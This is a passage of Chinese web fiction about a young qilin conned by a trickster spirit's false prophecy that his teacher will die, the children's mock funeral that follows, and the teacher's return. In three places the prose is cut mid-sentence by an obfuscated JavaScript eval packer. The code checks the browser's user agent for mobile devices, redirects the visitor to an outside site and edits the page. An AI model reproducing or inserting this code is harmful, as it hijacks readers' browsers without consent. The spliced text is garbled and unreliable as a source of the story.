街道两侧挤满了摊贩,卖泥人的、吹糖人的、耍猴的、卖大力丸的、表演胸口碎大石的……比西市和汴京瓦子更添了几分乡野的粗犷与鲜活。 景颐一开始还有些拘谨,紧紧拽着李承乾的衣袖。但很快,他的注意力就被一个捏面人的老伯吸引过去,老伯十指翻飞,转眼就捏出一只活灵活现的小麒麟,虽然不如汴京的糖麒麟精致,却憨态可掬。李泰见状,立刻掏钱买下塞给景颐。 空气中弥漫着胡麻饼的焦香、羊肉汤的膻鲜、糖炒栗子的甜腻,还有各种香料、汗水和尘土混合的、独属于庙会的、生机勃勃的气味。 景颐左手拿着面人麒麟,右手被李承乾牵着,眼睛忙不过来,一会儿看这个,一会儿瞧那个,耳边是兄姊的笑语和四周的喧闹,心头那点阴霾,不知不觉被这滚烫的人间烟火冲淡了许多,小脸上也渐渐有了笑容。 “快看那边!有杂技!”李泰眼尖,指着前方一处被围得水泄不通的空地喊道。 几人便随着人流往前挤,人越来越多,摩肩接踵,李承乾紧紧牵着景颐和李治,丽质也护在一旁,侍卫们艰难地在周围隔开一点空间。 就在这时,不知谁喊了一声“洒钱啦!”,人群一阵骚动,猛地向前一涌!李承乾只觉手上一空,再回头,原本紧紧牵着的景颐竟不见了踪影! “景颐!”李承乾脸色骤变,厉声高呼。丽质也慌了,李泰立刻跳起来张望。侍卫们更是如临大敌,奋力拨开人群寻找。 而此刻的景颐,被那股突如其来的力量冲得一个趔趄,等站稳时,发现自己已被挤到了街边一个相对僻静的角落,身边全是陌生面孔,兄姊和侍卫都不见了。 他心下一慌,正要呼喊,却听见一个清越柔和、带着奇异安抚力量的声音从旁响起:“小郎君可是与家人走散了?莫慌,且静心。” 景颐循声望去,只见角落阴影里,摆着个异常洁净雅致的小摊。一张古旧的矮几,铺着白色的素锦,上面用银线绣着简约的云纹。 桌后坐着一位先生,看面容约莫三十许,眉目清俊,肤白如玉,一双眼睛尤其明亮有神,顾盼间灵气流转。 他穿着一身纤尘不染的道袍,坐姿挺拔优雅,仪态出尘,周身仿佛笼罩着一层淡淡的、柔和的光晕,让人一见便心生好感,觉得这绝非寻常江湖术士。 只是,若仔细观察,会发现他头顶发髻旁,似乎有两个不明显的、毛茸茸的凸起,被梳理整齐的头发巧妙遮掩,配上他偶尔微微抽动的精致鼻尖,整个人竟透出一种奇异的、宛如月宫玉兔般的灵秀之气。 见景颐看过来,这位大师微微一笑,那笑容温和又带着悲悯,声音愈发轻柔:“小郎君,我观你眉宇间隐有愁云凝聚,并非仅是走失之慌,可是心系远方至亲,日夜不安?” 景颐被说中心事,又见这位大师气度如此不凡,与周遭喧嚣格格不入,仿佛真是世外高人,不由得点了点头,小声道:“我……我担心我师父,他去了很远很危险的地方,很久没消息了。” 大师眼中闪过一丝了然与果然如此的微光,他轻轻叹息一声,那叹息仿佛带着千年的愁绪:“至亲远行,音讯渺茫,确实令人心焦,让吾为你一观。” 他示意景颐上前,伸出纤长的手指,虚虚拂过景颐面前,闭目凝神片刻,忽地,他眉头紧蹙,猛地睁开眼,眼中竟流露出震惊与不忍,连那周身的光晕似乎都暗淡了一瞬。 “这、这煞气竟如此之重!” 他声音带着痛惜,“小郎君,你那位师父,可是去了极东至深、水汽滔天之地?” 景颐瞪大眼睛,用力点头:“是东海!很深很深的地方!” 大师重重一叹,神色沉重无比:“东海归墟……那是连神仙都需谨慎的绝地啊!煞气缠身,血光冲霄!大凶,大凶之兆!你那师父,恐怕已身陷死劫,有血光之灾,性命……危在旦夕!” “血光之灾?!性命危在旦夕?!” 景颐如遭雷击,小脸瞬间惨白,眼泪一下子涌了上来,“不、不会的!师父很厉害!玄女姐姐也说师父没事的!” 大师摇头,语气充满悲悯,却又带着一种残酷的真实: “孩子,你可知,世间多少英雄豪杰,天赋异禀,气运昌隆,却也难敌天命无常?便如汉朝那位冠军侯,霍去病,何其英勇?十七岁领兵,横扫大漠,封狼居胥,功盖当世,真乃天神下凡一般的人物!可结果如何?天不假年,二十四岁便英年早逝,陨落如星辰!” 他凝视着景颐,目光仿佛能洞穿人心:“你师父纵有通天本事,身处那等绝地,又焉知不会步了霍将军后尘?勇烈非凡,却难敌命数啊!” 霍去病!景颐听李叔叔提起过,说那是古往今来最厉害的少年将军,打仗特别厉害。 可他……二十四岁就死了?景颐从不知道这个!如果霍去病那么厉害都会死,那师父……师父虽然也很厉害,可归墟听起来比大漠可怕多了…… 巨大的恐惧瞬间攫住了景颐,他最后的心理防线被霍去病二十四岁早逝这个实例彻底击垮。 他“哇”地一声哭出来,抓住大师的袖子,如同抓住最后一根稻草:“大师!求求你救救我师父!你要多少钱?我有!我都给你!求你救救他!” 大师心中得意非凡,面上却更显凝重慈悲:“唉,此劫非同小可,非寻常金银可解。需以上等灵玉、古符为引,布下阵法,沟通天地,或可为你师父争得一线生机。所需资费不菲,但念你一片赤诚孝心……” 他故作沉吟。 景颐急得不行,慌忙去摸腰间荷包,却发现荷包空空如也,钱早就被挤丢了!“钱、钱丢了……” 他绝望又羞愧,哭得上气不接下气,“大师你等等我!我回去拿!我阿兄他们有钱!你一定要救我师父!求你了!” 讹兽正想再演一会儿,享受这骗到单纯小麒麟的乐趣,却眼尖忽然瞥见李承乾等人正带着侍卫焦急寻来。他心头一跳:皇室子弟!麻烦! 他立刻换了副高深莫测又无奈的表情,轻轻却坚定地拂开景颐的手,语气飘忽: “天意,天意啊!小郎君,看来你与你师父缘分……唉,时机已误,无力回天了。记住,非是吾不救,实乃天意难违,你好自为之……” 话音未落,他竟以一种优雅迅捷如兔跃的姿态,轻盈起身,身形一闪,便已滑入旁边狭窄巷道,瞬息不见踪影,只留下一缕极淡的、清甜的草木灵气。 “大师!你别走!大师!”景颐追了两步,哪里还看得见人?他茫然地站在巷口,眼泪终于大颗大颗滚落下来。这时,李承乾他们也终于找到了他。 “景颐!”李承乾冲过来,一把将他抱住,上下打量,“你没事吧?吓死我们了!” 景颐“哇”地一声哭出来,指着黑巷方向:“大师…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235540|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大师说师父有血光之灾,要钱消灾,可我钱丢了,他、他就跑了……哇——师父是不是要没了……” 李承乾一听,又好气又心疼,一边拍着他的背安抚,一边皱眉看向那空荡荡的角落和丢下的破烂摊子:“什么大师!那就是个江湖骗子!见你年纪小,又一个人,故意吓唬你骗钱的!看到我们来了做贼心虚才跑的!他的话一个字都不能信!” “真的……是骗子吗?”景颐抽噎着问,心里却觉得,那个大师说得那么准,知道他有去远方的长辈,知道身处险地……万一是真的呢? “当然是骗子!”李泰也赶过来,斩钉截铁,“这种人我见得多了!专挑小孩和妇人下手!景颐乖,别信他的,师父肯定没事!” 丽质用手帕轻轻擦去景颐的眼泪,柔声安慰。在兄姊们一致的那是骗子的论断和温暖的怀抱中,景颐的情绪慢慢平复了一些,可心底那点被血光之灾勾起的、巨大的恐惧和万一不是骗子的怀疑,却像疯长的藤蔓,牢牢缠住了他。 回去的路上,他紧紧攥着李承乾的手,一言不发,眼泪却时不时无声地滑落。 回到九成宫,景颐彻底蔫了。兄姊们的安慰似乎只能隔靴搔痒。他脑海里反复回放着大师的话,越想越觉得可能是真的。 师父去了那么危险的地方,那么久没消息,玄女姐姐也说麻烦,不是血光之灾是什么?那个大师虽然跑了,但说不定是泄露天机太多,遭了反噬?或者,是自己没钱,所以救不了师父? 这个念头让他陷入巨大的恐慌和自责中。他想起之前梦里,那个主家庆祝别人生死不明就是死了,又想起更早以前,在流云境似乎听谁提过一句,人间亲人去世,要办丧礼,送他们安心离去…… 一个荒诞又无比认真的念头,在他小小的心灵里成型了:师父可能真的出事了,他是个孝顺徒弟,要为师父做点什么,哪怕……是送他最后一程。 他不知道具体该怎么办,但宫人们似乎提起过,宫外有人家办白事。 于是,在又一个辗转难眠的夜晚后,景颐红着眼睛,找到了最稳重的大兄李承乾,小声地、带着哭腔说:“大兄……师父、师父可能真的回不来了……我们……我们给师父办个丧礼吧,送送他,让他路上不孤单……” 李承乾吓了一跳,连忙按住他的肩膀:“景颐!你胡说什么!那骗子的话你怎么还信!先生只是有事耽搁了!” “可是师父去了那么久,一点确切消息都没有……”景颐的眼泪又下来了,“那个大师说得有鼻子有眼的……万一是真的呢?我们给师父办个简单的,就当、就当是祈求他平安,好不好?如果师父没事,就当是冲喜了!” 李承乾被他这冲喜的说法弄得哭笑不得,但看着弟弟伤心欲绝、仿佛不这么做就无法安心的样子,又实在硬不起心肠断然拒绝。 他想,或许让景颐仪式性地发泄一下担忧,反而好些?反正是在九成宫偏僻角落,简单弄一下,无伤大雅。他到底还是个半大少年,考虑不周,又被弟弟的眼泪泡软了心肠。 “四弟,三娘,你们过来。”李承乾把李泰和丽质也叫到一边,低声说了景颐的想法。 李泰第一反应是荒唐:“大兄!这怎么行!先生知道了非得气死!” 丽质也连连摇头:“大兄,此事不妥。还是禀报耶耶和娘娘吧。” “可现在耶耶和娘娘为了河东可能出现的蝗情和漕运事,日夜与杜公、房公他们商议,焦头烂额,我们怎好拿这种没影子的事去烦他们?”李承乾皱眉, “况且,景颐这般模样,你们也看见了。不如……我们就依他,简单弄一下,全当他一片心意,了却他一桩心事,或许他就能慢慢好了。我们小心些,不让人知道便是。” 李泰和丽质对视一眼,看着远处独自垂泪的景颐,心也软了。最终,三人达成一致:瞒着父母,悄悄办个微型丧礼,安抚景颐。至于雉奴,他还太小,要是冲撞了可不好。 47.第 47 章 说干就干。李承乾负责查典籍,他从随身带的书里翻找关于丧仪的记载,可惜多是士大夫礼制,繁琐复杂。他只好挑着简单的记:需要素服、祭品、香烛、纸钱,还要择吉时吉地。 李泰自告奋勇去置办东西,其实就是从自己和李承乾的旧衣服上扯了几块白布,权当麻衣。祭品用了他们省下来的点心和果子,香烛是偷偷从佛堂借的细香和小蜡烛,纸钱没处弄,丽质提议用干净的白纸剪成铜钱状代替。 最麻烦的是择吉时吉地。李泰不知从哪个侍卫那里听来一嘴,说附近有个老庙祝会看日子,便溜出去,用一块玉佩贿赂那老庙祝,说要给远行未归的亲人祈福,求个稳妥时辰。 那老庙祝睡得迷迷糊糊,掐指一算,随口胡诌:“今夜子时三刻,东北角僻静处,大吉!” 李泰如获至宝,回来汇报。几人完全不知,子时三刻乃阴气最盛之时,东北角在风水中更常与鬼门、隐忧相关,实乃大凶之时、不祥之地。 景颐则负责最重要的环节,画师父的画像。他找来纸笔,趴在桌上,回忆着师父的样子,画得极其认真。 可是……嗯,画出来的人,头有点方,眼睛一大一小,头发像一团乱麻,衣服的线条歪歪扭扭,唯一能看出是长琴的,大概是靠想象出的那清冷的神韵,以及景颐坚持在画像腰间加上的一个歪斜的方块玉佩。 简而言之,初具人形,堪称抽象派巅峰之作。 李承乾看了沉默,李泰看了想笑又不敢笑,丽质委婉地说:“颐儿,心意到了就好。” 景颐自己却很满意,觉得抓住了师父的神髓。 是夜,月黑风高,九成宫东北角一处废弃的小院,草木幽深。子时三刻,万籁俱寂。 四个小小的身影,披着歪歪扭扭、用布条系着的麻衣,悄无声息地溜了进来。 李承乾在最前,举着微弱烛火,李泰抱着祭品和纸钱,丽质牵着神情肃穆、眼圈通红的景颐,景颐则宝贝似的捧着自己画的师父画像。 院子中央有张破石桌。李承乾将画像用石块压住,摆上点心果子,点燃细香和小蜡烛。微弱的火光在夜风中摇曳,映着画像上那张抽象的脸,气氛顿时变得……有点诡异又有点滑稽。 “开始吧。”李承乾低声道,按照书上记的模糊流程,率先跪下,李泰、丽质、景颐也跟着跪下。 该说什么呢?几人面面相觑。 景颐想起梦里零星见过的片段,带着哭腔开口:“师父……您一路走好……颐儿会想您的……您给我的玉佩,我天天戴着……您教我的字,我以后一定好好写……呜呜……” 他一开始还努力控制,说到后来,悲从中来,真的哭了起来。 他一哭,李承乾想到先生往日教导,虽然不信先生已逝,但此情此景,也不禁眼眶发热。李泰被气氛感染,又觉得这事实在荒唐得有点难过,也扁了嘴。丽质看着兄长弟弟们哭,心里发酸,也默默垂泪。 于是,四个孩子,就在这夜半三更、荒僻小院,对着一张丑得惊心动魄的画像,压低着声音,呜呜咽咽地哭起来。哭声在寂静的夜里飘散,伴随着燃烧纸钱的焦味和摇曳的烛光,别提多渗人了。 偏巧今夜李世民与长孙皇后商议政务到深夜,总算告一段落,心绪稍松,相携在宫中散步透气。走着走着,便隐约听见这断断续续、压抑又悲伤的哭声。 “何处来的哭声?”长孙皇后蹙眉,“似是孩童声音,这般晚了……” 李世民也觉诧异,循声而去,越走越偏,竟来到了东北角废院外。只见院门虚掩,里面透出微弱火光和嘤嘤哭泣。 两人对视一眼,心中疑窦大生,李世民示意侍卫稍退,自己轻轻推开院门。 只见院内石桌前,四个小小身影跪成一排,身上胡乱裹着白布,正对着一幅……难以形容的画哭得伤心,地上还有燃尽的香烛和一堆未烧完的、剪成铜钱状的白纸。 李世民:“……” 长孙皇后:“……” 饶是见惯风浪,帝后二人此刻也有点懵。这是在……祭奠谁?那画上是谁?怎么看起来……如此别致? 李世民眼力好,一眼认出那是自家几个孩子,再看那画,虽然抽象,但那清冷劲儿和腰间的玉佩暗示……他嘴角控制不住地开始抽搐,一个荒唐的念头浮现,他们该不会是在给长琴先生…… “噗……” 一声极轻的、没憋住的笑音从李世民喉间溢出。他赶紧以拳抵唇,但肩膀已经开始微微耸动。 这细微的动静惊动了孩子们。丽质最先回头,看见父母站在门口,先是吓了一跳,待看清父亲脸上那忍俊不禁的神情,顿时又羞又气,也顾不上礼仪了,带着哭音指责:“耶耶!您、您还笑!先生……先生都没了!” 她一指那画像。 丽质又羞又气地指责他,李世民好不容易止住一点笑,但眼中笑意满得快要溢出来。 他这几天忙于河东蝗情漕运的棘手事,确实没太留意孩子们的具体动向,只知道他们似乎有心事,却没想到搞出这么大个乌龙。 他上前几步,一把将哭得最伤心、明显是主谋的景颐捞起来,抱在臂弯里,用指腹擦去他脸上的泪痕和灰渍,语气还带着未尽的笑意: “好了好了,别哭了,先跟李叔叔说说,这又是披麻又是烧纸的,是唱的哪一出啊?你们这几天就忙活这个了?” 景颐见到李世民,仿佛见到了主心骨,抽抽噎噎、语无伦次地把事情说了。 他说得颠三倒四,泪眼模糊,但李世民听得大致明白,尤其是听到那大师竟用霍去病之死来佐证,更是觉得这骗子不仅可恨,心思也颇为刁钻,竟能抓住孩童心理。 “就因为这个,你们就信了?还给先生……”李世民指着那画像,又想笑了,他勉强板起脸,但眉梢眼角的笑意藏不住, “傻孩子,那是个手段高明的骗子!他定是看出你担忧亲人,又不知从何处打探或猜中一二,便用话术套你,霍去病之事史书有载,并非秘闻。先生他好得很,只是……” 他正要将“先生只是有事耽搁”说出口,忽然心有所感,抬头望向院墙。 几乎同时,那道清冷皎洁的身影,无声无息地落在了院中。 长琴回来了。 他风尘仆仆,眉宇间带着淡淡的倦色,但周身气息依旧清华高洁。 只是,当他清冷的目光扫过现场,几个披着白布、满脸泪痕的孩子,地上燃烧的纸钱,石桌上那幅堪称灵魂画作的肖像,以及抱着景颐、脸上笑意还未完全敛去的李世民时,那惯常无波的脸上,终于出现了一丝清晰的、名为困惑的裂痕。 景颐的哭声戛然而止,他猛地从李世民怀里扭过头,呆呆地看着突然出现的长琴,小嘴张着,忘了合拢。 随即,巨大的狂喜如潮水般淹没了他,他“哇”地一声,爆发出比刚才响亮十倍、却充满欢欣的哭喊,手脚并用地从李世民怀里挣脱,炮弹般冲过去,死死抱住长琴的腿: “师父!师父!你没死!你还活着!太好了!呜呜呜……吓死颐儿了!那个坏大师骗人!呜呜……” 长琴身体微僵,低头看着腿上挂着的、哭得浑身发抖的小泪人,又抬眼看向李世民,用眼神传递着明确的信息:这到底怎么回事? 李世民看着这戏剧性的一幕,再也忍不住,放声大笑起来,一边笑一边对长琴摆手:“先生莫怪,莫怪!此事……此事说来话长,实在是……哈哈哈!” 他笑得几乎弯下腰,好一会儿才喘着气,将这场因一个骗子大师引发的、荒诞绝伦的乌龙丧礼,简明扼要地解释给长琴听。 长琴听完,沉默的时间更长了。他低头看看怀里哭得一抽一抽、却死死抱着他不放的景颐,又看看那幅自己的遗像,清冷的眸子深处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“混口饭吃?” 长琴的声音听不出喜怒,“以谎言惑童,咒人身亡,骗其钱财,更引得孩童伤心欲绝,行此荒唐之举。这便是你的混口饭吃?” 讹兽抖如筛糠,心里把那贪玩跑来人间的自己骂了一万遍。 长琴不再多言,并指如剑,凌空一点。一道细微却无比玄奥的金色符印,瞬间没入讹兽眉心。 “念你初犯,未曾造成大恶,死罪可免。” 长琴声音冷淡,“罚你三年之内,口吐真言,不得有半字虚妄。若再以谎言行骗,或试图规避此罚,符印自会引动天雷,废你修为。” “口吐真言?!” 讹兽如遭雷击,这对靠说谎吃饭的他来说,简直比杀了他还难受!“上神!上神开恩啊!小兽知错了!再也不敢了!这、这不能说瞎话,小兽可怎么活啊!” “如何活,是你之事。” 长琴不再看他,身影缓缓淡去,只留下最后一句话在呆若木鸡的讹兽耳边回荡,“好自为之。” 废院中,长琴收回神识,对眼巴巴望着他的景颐,以及同样好奇的李世民等人微微颔首:“无事,一个贪玩的小妖,略施薄惩。他已不能再骗人了。” 景颐似懂非懂,但听到骗子被师父惩罚了,心里顿时畅快了不少,紧紧抱住长琴的腰:“师父最厉害了!” 李世民看着这场面,又想笑了,好歹忍住,对长琴道:“先生平安归来便好,这几个孩子也是担心你,胡闹了一场,先生莫怪。” 长琴摇摇头,看向几个孩子,尤其是眼睛红肿的景颐,目光复杂,最终只化作一句:“日后,遇事多思,勿轻信人言。更不可……再行此等之事。” 他说到最后,瞥了一眼那幅画像,嘴角几不可察地抽动了一下。 “是,先生。” 李承乾、李泰、丽质连忙低头应道,满脸通红。 景颐则把脸埋在师父怀里,使劲点头,心里却像放下了一块大石头,满满的都是失而复得的欢喜。 九成宫的夜空,仿佛也因为这戏剧性的一幕,而显得格外澄净明亮起来。 48.第 48 章 自那夜“诈尸”归来,景颐单方面认定师父经历了一场生死劫,虽然师父说没有,长琴就在景颐眼中,已然成了需要重点保护的易碎品。 虽然师父看起来和以前一样,清冷、挺拔、一丝不苟,但景颐总觉得师父眉眼间那点倦色,是血光之灾的后遗症,必须好好将养。 于是,九成宫里就多了一条异常执着的小尾巴。 长琴在庭中抚琴,景颐就搬个小杌子坐在三步外,托着腮,眼睛一眨不眨地盯着,一旦琴音稍有停顿,他就立刻弹起来:“师父!你累了吗?喝茶!吃点心!” 长琴去书房查阅典籍,景颐就趴在对面的书案上,装模作样地练字,写两笔,偷瞄一眼师父,确保师父还好好地坐在那里。 就连长琴偶尔立在廊下看山,景颐也要蹭过去,紧紧挨着,小手悄悄拽住师父的一片衣角,好像生怕一阵山风就把师父吹回那危险的东海似的。 如此三五日,饶是长琴性子清冷,也被这小徒弟近乎“监视”的关怀弄得有些无奈。 这日午后,他刚在琴案前坐下,景颐又“哒哒哒”抱着他的小枕头跑过来,说是给师父当腰靠,眼巴巴地望着他。 长琴放下手中刚拿起的琴谱,转过身,面对景颐,罕见地主动伸手,将他拉到面前。指尖拂过孩童柔软的发顶,声音虽淡,却带着一丝不易察觉的温和:“颐儿,为师无事,那日之言,纯属妄语,莫要再放在心上。” 景颐仰着小脸,眼圈还有点未散尽的红:“可是师父去了那么久,还累了……那个坏大师说得有鼻子有眼的,还有小霍将军……” “霍去病是凡人。” 长琴打断他,“生老病死,是凡人之常伦。他天纵英才,却寿数不永,是其命数,亦是其选择,将一生光华,在最短时间内燃至最亮。” 他顿了顿,看着景颐懵懂又担忧的眼睛,终究多解释了一句,“而为师与你,并非凡人。” 景颐眨眨眼。 “我乃天神,寿与天齐,只要天道不灭,便无寿尽之忧。你,” 长琴的目光落在景颐深褐色的、此刻盛满自己倒影的眼眸上,“你是麒麟,天生地养的神兽,纵未成年,命元亦远比凡人悠长,寻常伤病灾厄,难以动摇根本。那讹兽所言,于你我而言,如同说夏虫不可语冰,荒谬至极。” 这番话,长琴说得清晰明白。景颐听得半懂不懂,但“寿与天齐”、“命元悠长”这几个词,像是有魔力,一点点驱散了他心底最后那点残留的恐惧阴霾。原来,师父和自己,和小霍将军,和那个坏大师,都是不一样的!他们命很长,很难死掉! 巨大的安心感瞬间涌遍全身,景颐眼睛“唰”地亮了,多日来紧绷的小肩膀彻底松垮下来,他咧开嘴,露出一个傻乎乎的、如释重负的笑容,扑进长琴怀里,小狗似的蹭了蹭:“嗯!师父和颐儿都命长!不会死!” 长琴身体微僵,但没有立刻推开,任由这小暖炉抱了片刻,才轻轻拍了拍他的背。 心头大石放下,景颐又恢复了往日的活泼。但孩子的心思总是跳跃的,刚为师父和自己命长开心没多久,他忽然又想起了那个坏大师举例的霍去病。 霍去病是凡人,所以二十四岁就死了。那……李叔叔、大姐姐、阿姊、雉奴、四兄、大兄……他们也都是凡人啊! 这个认知像一桶冰水,浇在他刚刚暖起来的心上。他猛地从长琴怀里抬起头,小脸上满是惊慌:“师父!那、那李叔叔他们呢?他们也是凡人!那个小霍将军那么厉害都……那李叔叔天天那么累,批好多好多字,有时候夜里都不睡,他、他会不会也……” 他不敢说那个“死”字,但恐惧已经明明白白写在脸上。他想起李叔叔有时揉着眉心疲惫的样子,想起大姐姐温柔但偶尔咳嗽的模样,想起阿姊、雉奴、四兄、大兄……如果他们像霍去病将军一样,突然就…… 不,不要! 这个念头让他坐立不安,他“噌”地站起来,甚至来不及跟长琴说清楚,就像只受惊的小兔子,撒腿就往外跑,目标明确,直向李世民处理政务的书房跑去。 “李叔叔!李叔叔!” 他没等内侍通报,就直接撞了进去。 李世民正与长孙皇后低声商议着什么,闻声抬头,就见景颐眼眶通红,像颗小炮弹一样冲过来,一头扎进他怀里,两只小胳膊死死搂住他的脖子,带着哭腔喊:“李叔叔!你不要死!大姐姐也不要死!你们都不要死!颐儿不要你们死!哇——” 李世民和长孙皇后都被这突如其来的“死亡宣告”弄懵了。长孙皇后连忙放下手中的册子,蹲下身,轻轻抚着景颐颤抖的脊背:“颐儿,怎么了?做噩梦了?谁跟你说这些不吉利的话?” “没有做梦!”景颐从李世民肩头抬起泪痕狼藉的脸,抽抽噎噎,“是、是师父说,小霍将军是凡人,所以二十四岁就死了……李叔叔,大姐姐,阿姊,雉奴,四兄,大兄……你们都是凡人,会不会也……也会像他一样,突然就……不见了?颐儿不要!颐儿会伤心死的!你们不要死好不好?求求你们了!” 原来是这个,李世民和长孙皇后对视一眼,心中又是好笑,又是酸软。这孩子,自己刚放下对师父“早逝”的恐惧,立刻又担忧起身边所有人的寿数来了,这份毫无保留的眷恋与害怕失去的恐慌,纯粹得令人心疼。 李世民将景颐抱到膝上,用拇指擦去他的眼泪,声音是从未有过的温和与郑重:“颐儿,你看,李叔叔现在不是好好在这里吗?大姐姐也在这里。我们都会好好吃饭,好好休息,注意身体,争取活得很长很长,看着你们长大,看着雉奴成家,看着丽质出嫁,看着你变成威风凛凛的大麒麟,好不好?” “真的吗?”景颐泪眼婆娑地看着他,又看看一旁温柔含笑的长孙皇后。 “真的。”长孙皇后柔声道,伸手握住景颐的小手,“生老病死,确是自然之理,但正因如此,我们更要珍惜在一起的每一天,开开心心的,把身体养得壮壮的,这样陪伴彼此的时间,才能更长久,对吗?就像耶耶说的,我们要一起看着你们长大,还有很多很多日子要过呢。” 景颐看着他们,感受着李世民怀抱的坚实和长孙皇后手心的温暖,心里的恐慌慢慢被这温柔的承诺抚平了一些。他用力点头,又把脸埋进李世民颈窝,闷闷地说:“那你们要说话算话,要活很久很久,颐儿会监督你们吃饭睡觉的!” “好,让你监督。”李世民失笑,拍了拍他的背。 当夜的晚膳,难得人齐,李世民特意吩咐,就在他们住处临水的敞轩里摆了一桌不算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248536|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奢华却格外温馨的家宴。李承乾、李泰、丽质、李治都在,长琴也被李世民亲自请来。 经历了“丧礼”乌龙和后续的担忧,这顿饭吃得格外融洽。景颐黏在长琴身边,时不时给师父夹菜,虽然夹的都是他自己爱吃的,又跑过去叮嘱李世民多吃点肉,再提醒长孙皇后喝汤,忙得像只团团转的小蜜蜂。 李泰偷偷对李承乾挤眼睛,低声说:“瞧他,跟个小管家婆似的。” 被丽质在桌下轻轻踢了一脚,嗔怪地瞪了一眼。 李治则只顾着啃一只比他手掌还大的鸡腿,吃得满脸油光,偶尔抬头,冲景颐和长琴傻笑。 月色如水,洒在轩外波光粼粼的水面上,微风送爽,夹杂着草木清香。孩子们的笑语,长辈温和的应和,杯盏轻碰的脆响,交织成九成宫夏夜最安宁的乐章。 饭后,孩子们被长孙皇后带去梳洗,敞轩里只剩下李世民和长琴二人,宫灯暖黄,茶香袅袅。 “此次东海之行,先生辛苦了。”李世民执壶,为长琴续上清茶。 “分内之事。”长琴颔首,放下茶盏,从袖中取出一物。那是一片半个巴掌大小、非帛非革、颜色暗沉如古铜的残片,边缘不规则,似乎是从更大的物件上撕裂下来的。 残片上,隐约可见几个极其古老、笔画如鸟迹虫篆般的字符,以及一小段模糊的、类似琴弦与音律标识的刻痕。 “此乃在归墟边缘,一处上古遗迹的断裂石柱内寻得。”长琴的声音在夜色中显得格外清寂,“应是《鸣岐谱》的残页,年代极为久远,其上记录的内容……很少,且残缺不全。” 李世民凝目细看,他虽然不通音律秘法,却能感受到那残片上弥漫的一股苍凉古朴、又隐隐带着不屈挣扎的气息。“可能解读?” “勉强可识得少许。”长琴指尖轻抚过残片上的刻痕,那古老的字符竟微微亮起一丝极淡的金芒,随即隐去,“主要记载了某种以琴音沟通天地戾气、试图将其疏导或平复的初级理念,以及对应的几个极其基础、却已失传的指法与音调。更深层的核心,与彻底平息或转化灾厄的关键,应在其后断裂遗失的部分。” 他抬起眼,看向李世民:“不过,仅此残片,亦有所得。其上所载的理,与几个基础音调,或可尝试融入现有琴曲,对安抚因灾厄临近而可能产生的不安地气、紊乱天象,或有微弱助益。只是……” “只是杯水车薪,且需先生耗费心力推演试验,是么?”李世民接口。 长琴默认。 李世民沉默片刻,望着轩外沉静的夜色,缓缓道:“有进展,便是好事,至少证明,此路非绝。先生不必急在一时,保重自身为要,所需一应之物,但凭先生吩咐。” “我明白。”长琴收起残片,目光也投向夜色深处。归墟深处的凶险与那遗迹中感受到的、仿佛来自更久远年代的悲鸣与警示,他并未多言。有些事,知道的人越少越好。 “那便好。”李世民举杯,“先生平安归来,又有所获,已值一贺,至于将来,一步步走吧。” 二人对饮,不再多言。九成宫重归于一片深邃的宁静。 远处,隐约传来景颐催促李治快些睡觉的、活力十足的声音,为这静谧的夜,添上了一抹生机勃勃的亮色。 49.第 49 章 或许是那《鸣岐谱》残片带来的微妙影响,又或许是景颐自身能力随着心绪平复而自然成长,这次入梦,感觉格外不同。 当李世民和景颐睁开眼,发现自己站在一条宽阔平整、车马粼粼的长安街道上时,竟有了一种奇异的真实感。 阳光炽烈,空气干燥,尘土在光柱中飞舞,两侧是熟悉的汉式飞檐斗拱,却又与贞观长安的格局风貌有着微妙差异。他们的衣饰也化作了合乎此时此地风格的寻常布衣,混在人群中毫不突兀。 “李叔叔,我们这是……到了哪里啊?”景颐扯了扯身上粗糙的葛布衣裳,好奇地东张西望,“感觉好真!比苏叔叔那次还像真的!” 李世民亦在打量四周,观其行人衣裳形制,他心中有了猜测:“这里似乎是汉时,跟紧我,莫要乱跑。” 可景颐哪里忍得住?尤其是在发现自己脚踏实地、能真切触摸到街边夯土墙、闻到空气中飘来的烤饼香气后,他像只放出笼的小鸟,在李世民无奈的视线范围内,哒哒哒地跑来跑去。 “李叔叔快看!那个陶俑会动!是活的!” “哇!这家的旗子画了只大鸟!” “咦?他们说的话,好像和我们不太一样,但又能听懂……” 忽然,他竖起了耳朵,旁边一个酒肆里,传出几个酒客高谈阔论的声音,隐隐夹杂着“匈奴”、“漠北”、“冠军侯”等字眼。 景颐的眼睛“唰”地亮了,他猛地抓住李世民的手,兴奋地压低声音:“李叔叔!你听见了吗?他们在说霍去病!冠军侯!我们真的到霍将军在的时候了!” 他挣脱李世民的手,像只小猎犬一样,竖起耳朵循着声音最清晰的方向凑过去,扒在酒肆窗根下偷听。 “……可不是!自打去岁漠北那一战,冠军侯封狼居胥,匈奴远遁,漠南无王庭!了不得!真乃天神下凡!” “我有个远房表亲在期门军当差,说前儿还远远瞧见冠军侯骑马从北阙那边过,嚯,那精气神,跟一杆标枪似的!” “真想一睹冠军侯风采!” 